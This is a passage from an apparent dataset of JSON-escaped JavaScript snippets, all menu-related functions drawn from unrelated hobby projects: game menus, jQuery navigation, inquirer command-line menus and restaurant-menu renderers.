this.categoriesGroup.getLength();\\n\\n //Remove old listeners & reset\\n this.closeMenus(scene);\\n\\n //Change alpha of selected menu\\n this.categoriesGroup.children.entries[index].setAlpha(1);\\n // this.categoriesGroup.children.entries[index].setBackgroundColor('#000000');\\n\\n //Vertical Line\\n const graphics = scene.add.graphics();\\n graphics.lineStyle(1, 0xffffff);\\n graphics.lineBetween(gameWidth - cellWidth, gameHeight * 2 / 3, gameWidth - cellWidth, gameHeight);\\n\\n const actions = this.categoriesGroup.children.entries[index].children;\\n this.actionsGroup = scene.add.group();\\n let nOfOptions = actions.length;\\n\\n for (let i = 0; i < nOfOptions; i++) {\\n let itemsLeft = \\\"\\\";\\n if (actions[i].supply > 0 && actions[i]) {\\n itemsLeft = ` (${ actions[i].supply })`;\\n }\\n else if (actions[i].supply <= 0) {\\n actions.pop(actions[i--]);\\n nOfOptions--;\\n continue;\\n }\\n\\n const y = gameHeight * 2 / 3 + cellHeight * i;\\n const x = 10 + gameWidth - cellWidth;\\n\\n let addedText = scene.add.bitmapText(x, y, 'welbutrin', `${ actions[i].name + itemsLeft }`, 32);\\n addedText.setAlpha(0.5);\\n this.actionsGroup.add(addedText);\\n }\\n\\n //If there are no options in a particular menu, display an error\\n if (this.actionsGroup.children.size === 0) {\\n const y = gameHeight * 2 / 3;\\n const x = 10 + gameWidth - cellWidth;\\n\\n let addedText = scene.add.bitmapText(x, y, 'welbutrin', 'Nothing to see here!', 32);\\n this.actionsGroup.add(addedText);\\n }\\n }\",\n \"function ocultarMenu(){\\n\\t\\t$(\\\"#js-menu-recipe\\\").hide();\\n}\",\n \"function addPlantMenu(menu) {\\n \\n //call a function to create UL with plants at the position of a click\\n const dropDownMenu = getUL(menu);\\n \\n //assign an onclick response that adds a plant(s)\\n dropDownMenu.addEventListener(\\\"click\\\", function(evt) {\\n \\n //make sure the click is on a custom choice (inside a menu)\\n if (!evt.target.classList.contains(\\\"customChoice\\\")) {\\n return;\\n }\\n \\n //capture plant li elements from the menu into an array so that their properties can be accessed\\n const ar = Array.from(evt.target.parentElement.getElementsByTagName(\\\"li\\\"));\\n \\n //when adding plants to a garden, x-offset is calculated for each height group; the following determines how many plants fall into each height group, then the width is divided by the number of plants to calculate the available horizontal space between plants\\n const xSp1 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\\\"data-avgh\\\"),0,24)).length);\\n const xSp2 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\\\"data-avgh\\\"),24,48)).length);\\n const xSp3 = menu.gW / (ar.filter(x => rangeCheck(x.getAttribute(\\\"data-avgh\\\"),48,72)).length);\\n const xSp4 = menu.gW / (ar.filter(x => Number(x.getAttribute(\\\"data-avgh\\\")) >= 72).length);\\n\\n //when adding plants to a garden, x-offset variable is calculated for each height group and 1x..4 is for current plant's offset\\n let x1 = x2 = x3 = x4 = 0;\\n //for vertical offset, the yOffset is for each plant height group then the y1..4 is the small offset for each plant, so that they're not clustered together\\n let y1 = y2 = y3 = y4 = 0;\\n \\n //loop through filtered plants and add them; when adding to a garden, the plant is centered within the garden; otherwise, it's placed to the left of menu; \\n //if the menu was brought up too close to the left edge of the screen, the plant is placed to the right; vertically, the plant is at the position of its listing in the menu\\n //unless 'Add All Plants' option is clicked, add 1 plant (because liCnt includes the 'Add All Plants' option, the itiration starts at 1, thus set liCnt to 2 for a sinlge addition)\\n for (let i = 1, liCnt = evt.target.innerText === \\\"Add All Plants\\\"? ar.length : 2; i < liCnt; i++) {\\n \\n //the x and y offsets for plants added to a garden or freestanding\\n let xOffset = yOffset = 0;\\n\\n //for plants added to a garden\\n if (menu.gId) {\\n //if adding all plants to a garden, space them at the intervals calculated below\\n if (evt.target.innerText === \\\"Add All Plants\\\") {\\n\\n //using garden height, gH, calculate the desired vertical spacing of plant groups; horizontally, plants are placed at xOffset intervals\\n yOffset = menu.gH / 3; //3 spaces between 4 groups\\n if (Number(evt.target.parentElement.children[i].getAttribute(\\\"data-avgh\\\")) < 24) {\\n //the shortest plants go to the front (bottom), thus the biggest offset\\n yOffset *= 2; \\n xOffset = menu.gX + x1 * xSp1;\\n x1++;\\n } else if (Number(evt.target.parentElement.children[i].getAttribute(\\\"data-avgh\\\")) < 48) {\\n yOffset *= 1.5;\\n xOffset = menu.gX + x2 * xSp2;\\n x2++;\\n } else if (Number(evt.target.parentElement.children[i].getAttribute(\\\"data-avgh\\\")) < 72) {\\n xOffset = menu.gX + x3 * xSp3;\\n x3++;\\n } else {\\n yOffset *= 0.5;\\n xOffset = menu.gX + x4 * xSp4;\\n x4++;\\n }\\n \\n yOffset = menu.gY + yOffset;\\n \\n //alternate vertical position slightly\\n if (i%2) yOffset += munit*2;\\n\\n }\\n else {\\n xOffset = menu.gX + menu.gW/2;\\n yOffset = menu.gY + menu.gH/2;\\n }\\n }\\n \\n //for freestanding plants\\n else {\\n //Y-OFFSET: when adding all plants, space them vertically 16px apart; otherwise, the vertical placing is at the location of the name in the list; \\n yOffset = evt.target.innerText === \\\"Add All Plants\\\" ? \\n parseInt(window.getComputedStyle(evt.target.parentElement).top) + 16 * i : \\n event.pageY;\\n //X-OFFSET: if the menu is too close (within 150px) to the left edge of the screen, add the plant on the right, otherwise - left\\n// todo: check if the x-calculation creates a result that's too long\\n if (parseInt(evt.target.parentElement.style.left) < 150) {\\n //xOffset needs to include the alphabet shortcuts that all plants have on the sides\\n xOffset = menu.type === \\\"all\\\" ? \\n parseInt(evt.target.parentElement.nextSibling.nextSibling.style.left) + munit * 5 : \\n parseInt(evt.target.parentElement.style.left) + parseInt(window.getComputedStyle(evt.target.parentElement).width) + munit * 3;\\n } else {\\n xOffset = menu.type === \\\"all\\\" ? \\n parseInt(evt.target.parentElement.nextSibling.style.left) - parseInt(window.getComputedStyle(evt.target.parentElement).width) * 0.7 : \\n parseInt(evt.target.parentElement.style.left) - parseInt(window.getComputedStyle(evt.target.parentElement).width) * 0.7;\\n }\\n }\\n \\n const plantLi = evt.target.innerText != \\\"Add All Plants\\\" ? evt.target : evt.target.parentElement.children[i];\\n\\n addPlant({\\n pId:null, //plant id is set to null, when creating a new plant\\n x: parseFloat(xOffset),\\n y: parseFloat(yOffset),\\n w:Number(plantLi.getAttribute(\\\"data-avgw\\\")),\\n h:Number(plantLi.getAttribute(\\\"data-avgh\\\")),\\n nm:plantLi.innerText, //plant's common name\\n gId:menu.gId?menu.gId:0, //a garden id, where the new plant is planted, 0 at first\\n lnm:plantLi.getAttribute(\\\"data-lnm\\\"), //plant's latin name\\n shp:plantLi.getAttribute(\\\"data-shp\\\"),\\n clr:plantLi.getAttribute(\\\"data-bloomC\\\"),\\n blm:plantLi.getAttribute(\\\"data-bloomM\\\")\\n });\\n }\\n });\\n \\n //the menu with event listeners have been created, now the menu is added to the document's body, not svg\\n document.body.appendChild(dropDownMenu);\\n}\",\n \"function startMenu() {\\n createManager();\\n}\",\n \"function menu(){\\n background(img,0);\\n //retangulo para selecionar a tela\\n fill(255, 204, 0)\\n rect(imgpont,xrectmenu,yrectmenu,larguramenu,alturamenu,20)\\n image(imgpont,xrectmenu,yrectmenu,larguramenu,alturamenu,20)\\n fill(233,495,67);\\n textSize(26);\\n text('JOGAR ', 250, 100)\\n //detalhes do texto abaixo\\n fill(233,495,67);\\n textSize(26);\\n text('INSTRUÇÕES', 230, 200);\\n text('CREDITOS', 230, 300);\\n }\",\n \"function RenderDish({selectedDish}){\\n //check for null dish\\n if(selectedDish!=null){\\n return(\\n \\n \\n \\n {selectedDish.name}\\n {selectedDish.description}\\n \\n \\n );\\n }else{\\n return(\\n
            \\n );\\n }\\n \\n }\",\n \"function menuItems() {\\n const farmMenu = document.createElement('div');\\n farmMenu.classList.add('menu');\\n \\n farmMenu.appendChild(createItem(\\n 'beef tartare', \\n '$14',\\n 'egestas pretium aenean pharetra magna ac placerat vestibulum'));\\n farmMenu.appendChild(createItem(\\n 'mussels provencale',\\n '$20',\\n 'sed adipiscing diam donec adipiscing tristique risus nec'));\\n farmMenu.appendChild(createItem(\\n 'scallops', \\n '$18',\\n 'vitae congue mauris rhoncus aenean vel elit scelerisque'));\\n farmMenu.appendChild(createItem(\\n 'flemish onion soup', \\n '$10',\\n 'elit ullamcorper dignissim cras tincidunt lobortis feugiat vivamus'));\\n farmMenu.appendChild(createItem(\\n 'braised short ribs', \\n '$22',\\n 'sagittis purus sit amet volutpat consequat mauris nunc'));\\n farmMenu.appendChild(createItem(\\n 'wedge salad', \\n '$10',\\n 'nibh sed pulvinar proin gravida hendrerit lectus a'));\\n farmMenu.appendChild(createItem(\\n 'charcuterie', \\n '$16',\\n 'non blandit massa enim nec dui nunc mattis'));\\n\\n return farmMenu;\\n }\",\n \"function showShop() {\\n\\tmenuHideAll();\\n\\t$('#shop').show();\\n\\tmenuResetColors();\\n\\tmenuSetColor('shopBox');\\n}\",\n \"function showMenu( el, type ) {\\n\\tvar list;\\n\\tvar type;\\n\\tvar target;\\n\\n\\tlist = el.childNodes;\\n\\n\\tif( type == null ) {\\n\\t\\ttype = 'TABLE';\\n\\t}\\n\\n\\tif ( el.className == \\\"menutitle\\\" ) {\\n\\t\\t// el.style.color = \\\"#4c6490\\\";\\n\\t\\tel.style.color = \\\"#eeeeff\\\";\\n\\t\\tel.style.backgroundColor = 'white';\\n\\t\\tel.style.borderStyle = 'solid';\\n\\t\\tel.style.borderWidth = '1px';\\n\\t\\tel.style.borderColor = '#4c6490';\\n\\t\\tel.style.margin = '1px';\\n\\t}\\n\\n\\tfor ( i=0; i < list.length; i++ ) {\\n\\t\\tif(( list[i].nodeName == 'DIV' ) &&\\n\\t\\t\\t( list[i].className == \\\"submenuitem\\\" ) ) {\\n\\t\\t\\tlist[i].style.borderStyle = 'solid';\\n\\t\\t\\tlist[i].style.borderColor = '#ccc';\\n\\t\\t\\tlist[i].style.borderWidth = '1px';\\n\\t\\t\\tlist[i].style.backgroundColor = '#fefeff';\\n\\t\\t}\\n\\n\\t\\tif( list[i].nodeName != type ) {\\n\\t\\t\\tcontinue;\\n\\t\\t};\\n\\n\\t\\tfadeInit ( list[i], 'in' );\\n\\t}\\n}\",\n \"function display_start_menu() {\\n\\tstart_layer.show();\\n\\tstart_layer.moveToTop();\\n\\t\\n\\tdisplay_menu(\\\"start_layer\\\");\\n\\tcharacter_layer.moveToTop();\\n\\tcharacter_layer.show();\\n\\tinventory_bar_layer.show();\\n\\t\\n\\tstage.draw();\\n\\t\\n\\tplay_music('start_layer');\\n}\",\n \"function getMenu(str) {\\n \\n\\tmanageDOM.clearContent(\\\"content\\\");\\n \\n\\t// query mongoDB for cached menu\\n\\tlet day = str === \\\"today\\\" ? \\\"Today\\\" : \\\"Tomorrow\\\";\\n\\tlet menuDay = Menu.findOne( {\\\"day\\\": day});\\n \\n\\t// Builds html elements for either today's or tomorrow's menu\\n\\tmenuDay.exec( (err, data) => {\\n\\t\\tif (err) throw (err);\\n\\t\\telse if (data != null) {\\n\\t\\t\\tlet arr = [];\\n\\t\\t\\tlet i = 1;\\n\\n\\t\\t\\tif (data.meal_0 != null) { arr.push(JSON.parse(data.meal_0)); }\\n\\t\\t\\tif (data.meal_1 != null) { arr.push(JSON.parse(data.meal_1)); }\\n\\t\\t\\tif (data.meal_2 != null) { arr.push(JSON.parse(data.meal_2)); }\\n \\n\\t\\t\\t// create an array of elements to build the DOM\\n\\t\\t\\tlet meal_list = [\\\"cantina-wrapper center-div\\\", \\\"cantina-greet\\\"];\\n\\t\\t\\tfor (let j = 0; j < arr.length; j++) {\\n\\t\\t\\t\\tmeal_list.push(\\\"spacer\\\" + i);\\n\\t\\t\\t\\tmeal_list.push(\\\"time\\\" + i);\\n\\t\\t\\t\\tmeal_list.push(\\\"meal\\\" + i);\\n\\t\\t\\t\\ti++;\\n\\t\\t\\t}\\n\\t\\t\\tif (data.cafe42 != null) {\\n\\t\\t\\t\\tmeal_list.push(\\\"spacer\\\" + i);\\n\\t\\t\\t\\tmeal_list.push(\\\"cafe\\\");\\n\\t\\t\\t}\\n\\n\\t\\t\\tmanageDOM.array2Div(meal_list);\\n \\n\\t\\t\\tdocument.getElementById(\\\"cantina-greet\\\").innerHTML = \\\"the 42 cantina menu for \\\" + str + \\\" is\\\";\\n \\n\\t\\t\\t// for each div, give it a class and add appropriate content whether it is time or meal descroption\\n\\t\\t\\tfor (i = 2; i < meal_list.length; i++) {\\n\\t\\t\\t\\tif (meal_list[i][0] === \\\"t\\\") {\\n\\t\\t\\t\\t\\tlet date = new moment(Date.parse(arr[Math.floor((i - 2) / 3)].begin_at));\\n\\t\\t\\t\\t\\tlet date_end = new moment(Date.parse(arr[Math.floor((i - 2) / 3)].end_at));\\n\\t\\t\\t\\t\\tlet t = document.getElementById(meal_list[i]);\\n\\t\\t\\t\\t\\tlet item = arr[Math.floor((i - 1) / 3)];\\n\\t\\t\\t\\t\\tt.setAttribute(\\\"class\\\", \\\"cantina-hours\\\");\\n\\t\\t\\t\\t\\tt.innerHTML = \\\"\\\\\\n $\\\" + item.price + \\\" -- \\\\\\n Served from \\\" + date.format(\\\"HH:mm\\\") + \\\" until \\\" + date_end.format(\\\"HH:mm\\\") + \\\":\\\"; \\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse if (meal_list[i][0] === \\\"m\\\") {\\n\\t\\t\\t\\t\\tlet m = document.getElementById(meal_list[i]);\\n\\t\\t\\t\\t\\tm.setAttribute(\\\"class\\\", \\\"meal\\\");\\n\\t\\t\\t\\t\\tlet item = arr[Math.floor((i - 2) / 3)];\\n\\t\\t\\t\\t\\tlet br = item.menu;\\n\\n\\t\\t\\t\\t\\t// Replaces 'line feed' and 'carriage return' with and HTML break\\n\\t\\t\\t\\t\\tbr = br.replace(/\\\\r\\\\n/g, \\\"
            \\\");\\n\\t\\t\\t\\t\\tm.innerHTML = br; \\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse if (meal_list[i][0] === \\\"c\\\") {\\n\\t\\t\\t\\t\\tlet c = document.getElementById(\\\"cafe\\\");\\n\\t\\t\\t\\t\\tc.setAttribute(\\\"class\\\", \\\"meal\\\");\\n\\t\\t\\t\\t\\tlet cafe42 = JSON.parse(data.cafe42);\\n\\t\\t\\t\\t\\tlet cafe42Menu = cafe42.menu;\\n\\t\\t\\t\\t\\tcafe42Menu = cafe42Menu.replace(/\\\\r\\\\n/g, \\\"
            \\\").replace(\\\"cafe 42\\\",\\n\\t\\t\\t\\t\\t\\t\\\"Cafe 42: ~ \\\\\\n \\\\\\n $\\\" + cafe42.price + \\\"\\\");\\n\\t\\t\\t\\t\\tc.innerHTML = cafe42Menu;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\tlet s = document.getElementById(meal_list[i]);\\n\\t\\t\\t\\t\\ts.setAttribute(\\\"class\\\", \\\"spacing\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Error retrieving Cantina menu from Mongo DB\\\");\\n\\t\\t}\\n\\t});\\n}\",\n \"function dashSubMenu(){\\n\\t\\t\\tif(wid <= 600){\\n\\t\\t\\t\\tmenuHS();\\t\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\t$(\\\"#dashInSubMenuId\\\").css(\\\"background-color\\\", \\\"#0E0E0E\\\");\\n\\t\\t\\t$(\\\"#costInSubMenuId\\\").css(\\\"background-color\\\", \\\"#3C3C3C\\\");\\n\\t\\t\\t$(\\\"#sellInSubMenuId\\\").css(\\\"background-color\\\", \\\"#3C3C3C\\\");\\n\\t\\t\\t$(\\\"#stockMenuId\\\").css(\\\"background-color\\\", \\\"#3C3C3C\\\");\\n\\t\\t\\t$(\\\"#settingInSubMenuId\\\").css(\\\"background-color\\\", \\\"#3C3C3C\\\");\\n\\t\\t\\twindow.location.assign(\\\"index.php\\\");\\n}\",\n \"function openNewGameMenu () {\\n document.getElementById('menu-background').style.display = 'block';\\n document.getElementById('menu-content').style.display = 'block';\\n}\",\n \"function AddCustomMenuItems(menu) {\\n menu.AddItem(strMenuItemLoop, \\n (doLoop == 1) ? gddMenuItemFlagChecked : 0, OnMenuClicked);\\n menu.AddItem(strMenuItemShuffle, \\n (doShuffle == 1) ? gddMenuItemFlagChecked : 0, OnMenuClicked);\\n}\",\n \"function supervisorMenu() {\\n inquirer\\n .prompt({\\n name: 'apple',\\n type: 'list',\\n message: 'What would you like to do?'.yellow,\\n choices: ['View Product Sales by Department',\\n 'View/Update Department',\\n 'Create New Department',\\n 'Exit']\\n })\\n .then(function (pick) {\\n switch (pick.apple) {\\n case 'View Product Sales by Department':\\n departmentSales();\\n break;\\n case 'View/Update Department':\\n updateDepartment();\\n break;\\n case 'Create New Department':\\n createDepartment();\\n break;\\n case 'Exit':\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function init_dash() {\\n dropDown();\\n}\",\n \"setupMenu () {\\n let dy = 17;\\n // create buttons for the action categories\\n this.menu.createButton(24, 0, () => this.selectionMode = 'info', this, null, 'info');\\n this.menu.createButton(41, 0, () => this.selectionMode = 'job', this, null, 'job');\\n // create buttons for each command\\n for (let key of Object.keys(this.jobCommands)) {\\n let button = this.menu.createButton(0, dy, () => this.jobCommand = key, this, this.jobCommands[key].name);\\n dy += button.height + 1;\\n }\\n // set the hit area for the menu\\n this.menu.calculateHitArea();\\n // menu is closed by default\\n this.menu.hideMenu();\\n }\",\n \"function displayMenu() {\\n inquirer.prompt(menuChoices).then((response) => {\\n switch (response.selection) {\\n case \\\"View Departments\\\":\\n //call function that shows all departments\\n viewDepartments();\\n break;\\n\\n case \\\"Add Department\\\":\\n //call function that adds a department\\n addDepartment();\\n break;\\n\\n case \\\"View Roles\\\":\\n getRole();\\n break;\\n\\n case \\\"Add Role\\\":\\n addRole();\\n break;\\n\\n case \\\"View Employees\\\":\\n viewEmployee();\\n break;\\n\\n case \\\"Add Employee\\\":\\n addEmployee();\\n break;\\n\\n case \\\"Update Employee\\\":\\n break;\\n\\n default:\\n connection.end();\\n process.exit();\\n // quit the app\\n }\\n });\\n}\",\n \"function onOpen() {\\n ui.createMenu('Daily Delivery Automation')\\n .addItem('Run', 'confirmStart').addToUi();\\n}\",\n \"function menu() {\\n\\t\\n // Title of Game\\n title = new createjs.Text(\\\"Poker Room\\\", \\\"50px Bembo\\\", \\\"#FF0000\\\");\\n title.x = width/3.1;\\n title.y = height/4;\\n\\n // Subtitle of Game\\n subtitle = new createjs.Text(\\\"Let's Play Poker\\\", \\\"30px Bembo\\\", \\\"#FF0000\\\");\\n subtitle.x = width/2.8;\\n subtitle.y = height/2.8;\\n\\n // Creating Buttons for Game\\n addToMenu(title);\\n addToMenu(subtitle);\\n startButton();\\n howToPlayButton();\\n\\n // update to show title and subtitle\\n stage.update();\\n}\",\n \"function Restaurant(name, menu){\\n this.name = name;\\n this.menu = menu;\\n}\",\n \"function menuzordActive () {\\n if ($(\\\"#menuzord\\\").length) {\\n $(\\\"#menuzord\\\").menuzord({\\n indicatorFirstLevel: ''\\n });\\n };\\n}\",\n \"function C999_Common_Achievements_MainMenu() {\\n C999_Common_Achievements_ResetImage();\\n\\tSetScene(\\\"C000_Intro\\\", \\\"ChapterSelect\\\");\\n}\",\n \"function getMenus(restaurant) {\\n restaurantId = restaurant || \\\"\\\";\\n if (restaurantId) {\\n restaurantId = \\\"/?restaurant_id=\\\" + restaurantId;\\n }\\n $.get(\\\"/api/menus\\\" + restaurantId, function (data) {\\n console.log(\\\"Menus\\\", data);\\n menus = data;\\n if (!menus || !menus.length) {\\n displayEmpty(restaurant);\\n }\\n else {\\n initializeRows();\\n }\\n });\\n }\",\n \"showMenu() {\\n this._game = null;\\n this.stopRefresh();\\n this._view.renderMenu();\\n this._view.bindStartGame(this.startGame.bind(this));\\n this._view.bindShowScores(this.showScores.bind(this));\\n }\",\n \"function mainMenu() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"Add Departments\\\",\\n \\\"Add Roles\\\",\\n \\\"Add Employees\\\",\\n \\\"View Departments\\\",\\n \\\"View Roles\\\",\\n \\\"View Employees\\\",\\n \\\"Update Role\\\",\\n \\\"Update Manager\\\"\\n // \\\"View Employees by Manager\\\"\\n ]\\n })\\n // Case statement for selection of menu item\\n .then(function(answer) {\\n switch (answer.action) {\\n case \\\"Add Departments\\\":\\n addDepartments();\\n break;\\n case \\\"Add Roles\\\":\\n addRoles();\\n break;\\n case \\\"Add Employees\\\":\\n addEmployees();\\n break;\\n case \\\"View Departments\\\":\\n viewDepartments();\\n break;\\n\\n case \\\"View Roles\\\":\\n viewRoles();\\n break;\\n case \\\"View Employees\\\":\\n viewEmployees();\\n break;\\n case \\\"Update Role\\\":\\n updateRole();\\n break;\\n case \\\"Update Manager\\\":\\n updateManager();\\n break;\\n // case \\\"View Employees by Manager\\\":\\n // viewEmployeesByManager();\\n // break;\\n }\\n });\\n}\",\n \"renderMenu(data) {\\n // check if there is 1 valid category\\n if (data.size < 1) {\\n selectors.$content.append(`

            Infelizmente, nenhuma notícia foi encontrada!

            `)\\n console.log(\\\"nenhuma categoria encontrada\\\");\\n return;\\n }\\n\\n data.forEach(el => {\\n selectors.$menu.append(`
          • ${el.nome}

          • `)\\n })\\n\\n\\n selectors.$menu.find(\\\"li\\\").filter(\\\".item\\\").on('click', (e) => {\\n this._initShowNews(e.currentTarget.id)\\n })\\n }\",\n \"function toMenu() {\\n\\tclearScreen();\\n\\tviewPlayScreen();\\n}\",\n \"function menu() {\\n inquirer\\n .prompt({\\n name: \\\"menuOptions\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"View Products\\\", \\\"View Low Inventory\\\", \\\"Add Inventory\\\", \\\"Add New Product\\\"]\\n })\\n .then(function(answer) {\\n // based on their answer, run appropriate function\\n if (answer.menuOptions === \\\"View Products\\\") {\\n viewProducts();\\n }\\n else if (answer.menuOptions === \\\"View Low Inventory\\\") {\\n viewLowInventory();\\n }\\n else if (answer.menuOptions === \\\"Add Inventory\\\") {\\n addInventory();\\n }\\n else if (answer.menuOptions === \\\"Add New Product\\\") {\\n addNewProduct();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"function testMenuPostion( menu ){\\n \\n }\",\n \"showQuickMenu() { $(`#${this.quickMenuId}`).show(); }\",\n \"function menu(){\\n inquirer.prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products for Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"exit\\\"\\n ]\\n }).then(function(answer){\\n switch(answer.action){\\n case \\\"View Products for Sale\\\":\\n products();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addToInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addProduct();\\n break;\\n\\n case \\\"exit\\\":\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function itemMenu(e) {\\n\\te.preventDefault();\\n\\tItemSelection = e.target;\\n\\tconst[idx, isSource] = findNode(ItemSelection);\\n\\tconst elemName = (isSource) ? \\\"sourceDropdown\\\" : \\\"deviceDropdown\\\";\\n\\tconst menu = document.getElementById(elemName);\\n\\tmenu.style.top = `${e.pageY}px`;\\n\\tmenu.style.left = `2rem`;\\n\\tmenu.classList.toggle(\\\"show\\\");\\n}\",\n \"function showHoodies()\\n{\\n\\t//show all items with theid 'hoodies'\\n\\tdocument.getElementById('hoodies').style.display = \\\"block\\\";\\n\\t//hide all other items\\n\\tdocument.getElementById('hats').style.display = \\\"none\\\";\\n\\tdocument.getElementById('accessories').style.display = \\\"none\\\";\\n\\tdocument.getElementById('skate').style.display = \\\"none\\\";\\n\\tdocument.getElementById('show').style.display = \\\"block\\\";\\n}\",\n \"constructor(){\\n super();\\n this.menu = [\\n {\\n path: '/',\\n title: 'Home'\\n },\\n {\\n path: '/npc',\\n title: 'Npc\\\\'s'\\n },\\n {\\n path: '/enemies',\\n title: 'Enemies'\\n },\\n {\\n path: '/bosses',\\n title: 'Bosses'\\n },\\n {\\n path: '/places',\\n title: 'Places'\\n },\\n {\\n path: '/about',\\n title: 'About'\\n },\\n ];\\n }\",\n \"function showMenu() {\\n if(newGame) {\\n $('#main').show();\\n }\\n else {\\n $('#end').show();\\n }\\n}\",\n \"function superfishSetup() {\\n\\t\\t$('#navigation').find('.menu').superfish({\\n\\t\\t\\tdelay: 200,\\n\\t\\t\\tanimation: {opacity:'show', height:'show'},\\n\\t\\t\\tspeed: 'fast',\\n\\t\\t\\tcssArrows: true,\\n\\t\\t\\tautoArrows: true,\\n\\t\\t\\tdropShadows: false\\n\\t\\t});\\n\\t}\",\n \"function renderDish(dish) {\\n //setting up column and cards to add to the row\\n let column = $(\\\"
            \\\");\\n //Create dish card\\n let card = $(\\\"
            \\\");\\n card.addClass(\\\"card z-depth-4\\\");\\n card.attr(\\\"data-number\\\", dish.dishNumber);\\n\\n //set up image with title and button---------\\n let cardImg = $(\\\"
            \\\");\\n cardImg.addClass(\\\"card-image\\\");\\n let img = $(\\\"\\\");\\n img.attr(\\\"src\\\", dish.foodImg);\\n //setting up title\\n let titleSpan = $(\\\"\\\");\\n titleSpan.addClass(\\\"card-title\\\");\\n let title = $(\\\"

            \\\");\\n titleSpan.append(title);\\n cardImg.append(img);\\n cardImg.append(titleSpan);\\n\\n let recipe = $(\\\"

            \\\");\\n //If no ingredients, dish is part of a choice\\n if (!dish.ingredients) {\\n //Choices is 3x2 at l\\n column.addClass(\\\"col s12 m6 l4\\\");\\n // Add choice class to attach to an event listener\\n card.addClass(\\\"hoverable choices\\\");\\n // Add button\\n let aTag = $(\\\"\\\");\\n aTag.addClass(\\\"btn-floating btn-large btn waves-effect waves-red halfway-fab cyan pulse\\\");\\n let iTag = $(\\\"\\\");\\n iTag.addClass(\\\"material-icons\\\");\\n iTag.text(\\\"add\\\");\\n aTag.append(iTag);\\n cardImg.append(aTag);\\n // Title goes in content \\n recipe.text(dish.foodName);\\n } else {\\n // If dish is not a choice is final result title goes in header and ingredients go in content\\n column.addClass(\\\"col s12 m6 l6\\\");\\n title.text(dish.foodName);\\n let header = $(\\\"

            \\\").text(\\\"Ingredients:\\\");\\n recipe.append(header);\\n for (let i = 0; i < dish.ingredients.length; i++){\\n let ingredient = $(\\\"

            \\\");\\n ingredient.text(`${i + 1}. ${dish.ingredients[i]}`)\\n recipe.append(ingredient);\\n }\\n }\\n\\n //setting up content-----------------------\\n let content = $(\\\"

            \\\");\\n content.addClass(\\\"card-content\\\");\\n content.append(recipe);\\n\\n //done setting up content / Append everythin to row\\n card.append(cardImg);\\n card.append(content);\\n column.append(card);\\n $(\\\"#choices\\\").append(column);\\n}\",\n \"function openMenu() {\\n g_IsMenuOpen = true;\\n}\",\n \"function handleFastRestaurantChoice() {\\n /** @type {HTMLInputElement} Input field. */\\n const fastDishInput = document.getElementById(\\\"fast-input\\\").value;\\n const fastfoodMenu = [\\\"cheeseburger\\\", \\\"doubleburger\\\", \\\"veganburger\\\"]\\n\\n if(fastDishInput == fastfoodMenu[0]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[1]) {\\n restaurantClosing();\\n } else if (fastDishInput == fastfoodMenu[2]) {\\n restaurantClosing();\\n } else {\\n fastFoodRestaurantScene();\\n }\\n}\",\n \"function getSubChapterMenu(){\\n\\t\\n}\",\n \"function createMenu() {\\n zeroStarArrays();\\n num_stars_input = createInput('');\\n num_stars_input.position(20, 50);\\n submit_num = createButton('# Stars');\\n submit_num.position(20 + num_stars_input.width, 50);\\n submit_num.mousePressed(setNumStars);\\n num_planets_input = createInput('');\\n num_planets_input.position(20 + num_stars_input.width + 70, 50);\\n submit_num_planets = createButton('# Planets');\\n submit_num_planets.position(20 + num_planets_input.width + num_stars_input.width + 70, 50);\\n submit_num_planets.mousePressed(setNumPlanets);\\n}\",\n \"function tl_start() {\\n $('#futureman_face, #menu-open').css('display', 'inherit');\\n $('.menu-open').css('visibility', 'inherit');\\n }\",\n \"function setMenu(menu){ \\n switch(menu){\\n case 'food-input-icon':\\n loadFoodMenu();\\n break; \\n \\n case 'stats-icon':\\n loadStatsMenu(); \\n break; \\n \\n case 'settings-icon':\\n loadSettingsMenu(); \\n break;\\n \\n case 'share-icon':\\n loadShareMenu(); \\n break;\\n \\n case 'sign-out-icon':\\n signOut(); \\n break;\\n case 'nav-icon':\\n loadNavMenu(); \\n \\n }\\n}\",\n \"function handleMenu(){\\n\\t$(\\\"#examples-menu\\\").mouseover(function(){\\n\\t\\tvar position = $(\\\"#examples-menu\\\").offset();\\n\\t\\tvar top = $(\\\"#examples-menu\\\").outerHeight();\\n\\t\\t$(\\\"ul.examples\\\").offset({left:position.left, top:top+position.top});\\n\\t\\t$(\\\"ul.examples\\\").show();\\n\\t})\\n\\t$(\\\"h1,table,img,form\\\").mouseover(function(){\\n\\t\\t$(\\\"ul.examples\\\").offset({left:0, top:0});\\n\\t\\t$(\\\"ul.examples\\\").hide();\\n\\t})\\t\\n}\",\n \"function mainMenu() {\\n inquirer.prompt({\\n type: \\\"list\\\",\\n name: \\\"action\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n { name: \\\"Add something\\\", value: createMenu },\\n { name: \\\"View something\\\", value: readMenu },\\n { name: \\\"Change something\\\", value: updateMenu },\\n { name: \\\"Remove something\\\", value: deleteMenu },\\n { name: \\\"Quit\\\", value: quit }\\n ]\\n }).then(({ action }) => action());\\n}\",\n \"function menu() {\\n 